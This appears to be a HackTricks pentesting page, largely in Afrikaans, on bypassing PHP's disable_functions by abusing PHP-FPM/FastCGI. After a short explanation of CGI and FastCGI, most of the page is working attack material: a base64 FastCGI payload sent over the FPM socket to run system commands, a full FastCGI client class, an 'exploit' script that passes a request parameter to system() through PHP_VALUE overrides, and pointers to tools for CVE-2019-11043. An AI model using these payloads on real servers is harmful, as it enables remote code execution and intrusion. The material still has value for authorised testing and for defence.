disable_functions bypass - php-fpm/FastCGI

Ondersteun HackTricks

PHP-FPM

PHP-FPM word aangebied as 'n superieure alternatief vir die standaard PHP FastCGI, wat funksies bied wat veral voordelig is vir webwerwe met hoë verkeer. Dit werk deur 'n meesterproses wat 'n versameling werkerprosesse toesig hou. Vir 'n PHP-skrip versoek, is dit die webbediener wat 'n FastCGI proxy-verbinding na die PHP-FPM diens begin. Hierdie diens het die vermoë om versoeke te ontvang via netwerkpoorte op die bediener of Unix-sokke.

Ten spyte van die intermediêre rol van die proxy-verbinding, moet PHP-FPM op dieselfde masjien as die webbediener werk. Die verbinding wat dit gebruik, terwyl dit proxy-gebaseerd is, verskil van konvensionele proxy-verbindinge. Wanneer 'n versoek ontvang word, verwerk 'n beskikbare werker van PHP-FPM dit—dit voer die PHP-skrip uit en stuur dan die resultate terug na die webbediener. Nadat 'n werker die verwerking van 'n versoek voltooi het, word dit weer beskikbaar vir komende versoeke.

Maar wat is CGI en FastCGI?

CGI

Normaalweg word webbladsye, lêers en al die dokumente wat van die webbediener na die blaaskas oorgedra word, in 'n spesifieke openbare gids soos home/user/public_html gestoor. Wanneer die blaaskas sekere inhoud versoek, kyk die bediener na hierdie gids en stuur die vereiste lêer na die blaaskas.

As CGI op die bediener geïnstalleer is, word die spesifieke cgi-bin gids ook daarby gevoeg, byvoorbeeld home/user/public_html/cgi-bin. CGI-skripte word in hierdie gids gestoor. Elke lêer in die gids word as 'n uitvoerbare program behandel. Wanneer 'n skrip uit die gids benader word, stuur die bediener 'n versoek na die toepassing wat verantwoordelik is vir hierdie skrip, eerder as om die lêer se inhoud na die blaaskas te stuur. Nadat die invoerdata verwerking voltooi is, stuur die toepassing die uitvoerdata na die webbediener wat die data na die HTTP-kliënt oordra.

Byvoorbeeld, wanneer die CGI-skrip http://mysitename.com/cgi-bin/file.pl benader word, sal die bediener die toepaslike Perl-toepassing deur CGI uitvoer. Die data wat uit die skrip se uitvoering gegenereer word, sal deur die toepassing na die webbediener gestuur word. Die bediener sal op sy beurt die data na die blaaskas oordra. As die bediener nie CGI gehad het nie, sou die blaaskas die .pl lêer se kode self vertoon het. (verklaring van hier)

FastCGI

FastCGI is 'n nuwer webtegnologie, 'n verbeterde CGI weergawe aangesien die hooffunksionaliteit dieselfde bly.

Die behoefte om FastCGI te ontwikkel, is ontstaan deur die vinnige ontwikkeling en kompleksiteit van toepassings, sowel as om die skaalbaarheid tekortkominge van CGI-tegnologie aan te spreek. Om aan daardie vereistes te voldoen, het Open Market FastCGI bekendgestel – 'n hoëprestasie weergawe van die CGI-tegnologie met verbeterde vermoëns.

disable_functions omseiling

Dit is moontlik om PHP-kode te loop deur die FastCGI te misbruik en die disable_functions beperkings te vermy.

Via Gopherus

Ek is nie seker of dit in moderne weergawes werk nie, want ek het een keer probeer en dit het niks uitgevoer nie. Asseblief, as jy meer inligting oor hierdie het, kontak my via [PEASS & HackTricks telegram groep hier](https://t.me/peass), of twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Met Gopherus kan jy 'n payload genereer om na die FastCGI luisteraar te stuur en arbitrêre opdragte uit te voer:

Dan kan jy die urlencoded payload gryp en dit decodeer en na base64 transformeer, [met hierdie resep van cyberchef byvoorbeeld](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw). En dan die base64 in hierdie php-kode kopieer/plak:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

Uploading and accessing this script die eksploit gaan na FastCGI gestuur word (deaktiveer disable_functions) en die gespesifiseerde opdragte gaan uitgevoer word.

PHP eksploit

Ek is nie seker of dit in moderne weergawes werk nie, want ek het een keer probeer en ek kon niks uitvoer nie. Trouens, ek het gesien dat phpinfo() van FastCGI uitvoering aangedui het dat disable_functions leeg was, maar PHP (op een of ander manier) het steeds verhoed dat ek enige voorheen gedeaktiveerde funksie kon uitvoer. Asseblief, as jy meer inligting hieroor het, kontak my via [PEASS & HackTricks telegram groep hier](https://t.me/peass), of twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Code van hier.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Using the previous function you will see that the function system is nog steeds gedeaktiveer maar phpinfo() wys 'n disable_functions leeg:

So, ek dink dat jy slegs disable_functions kan stel via php .ini konfigurasie lêers en die PHP_VALUE sal nie daardie instelling oorskry nie.

Dit is 'n php skrip om die fastcgi protokol te benut om open_basedir en disable_functions te omseil. Dit sal jou help om streng disable_functions te omseil na RCE deur die kwaadwillige uitbreiding te laai. Jy kan dit hier toegang: https://github.com/w181496/FuckFastcgi of 'n effens gemodifiseerde en verbeterde weergawe hier: https://github.com/BorelEnzo/FuckFastcgi

Jy sal vind dat die ontploffing baie soortgelyk is aan die vorige kode, maar in plaas daarvan om te probeer om disable_functions te omseil met PHP_VALUE, probeer dit om 'n eksterne PHP-module te laai om kode uit te voer met die parameters extension_dir en extension binne die veranderlike PHP_ADMIN_VALUE. NOTE1: Jy sal waarskynlik die uitbreiding moet hercompileer met die dieselfde PHP weergawe wat die bediener gebruik (jy kan dit binne die uitvoer van phpinfo nagaan):

NOTE2: Ek het daarin geslaag om dit te laat werk deur die extension_dir en extension waardes binne 'n PHP .ini konfigurasie lêer in te voeg (iets wat jy nie sal kan doen nie wanneer jy 'n bediener aanval). Maar om een of ander rede, toe ek hierdie ontploffing gebruik en die uitbreiding van die PHP_ADMIN_VALUE veranderlike laai, het die proses net gesterf, so ek weet nie of hierdie tegniek steeds geldig is nie.

PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043)

Jy kan hierdie kwesbaarheid benut met phuip-fpizdam en dit toets met hierdie docker omgewing: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043. Jy kan ook 'n analise van die kwesbaarheid hier.

Support HackTricks

Last updated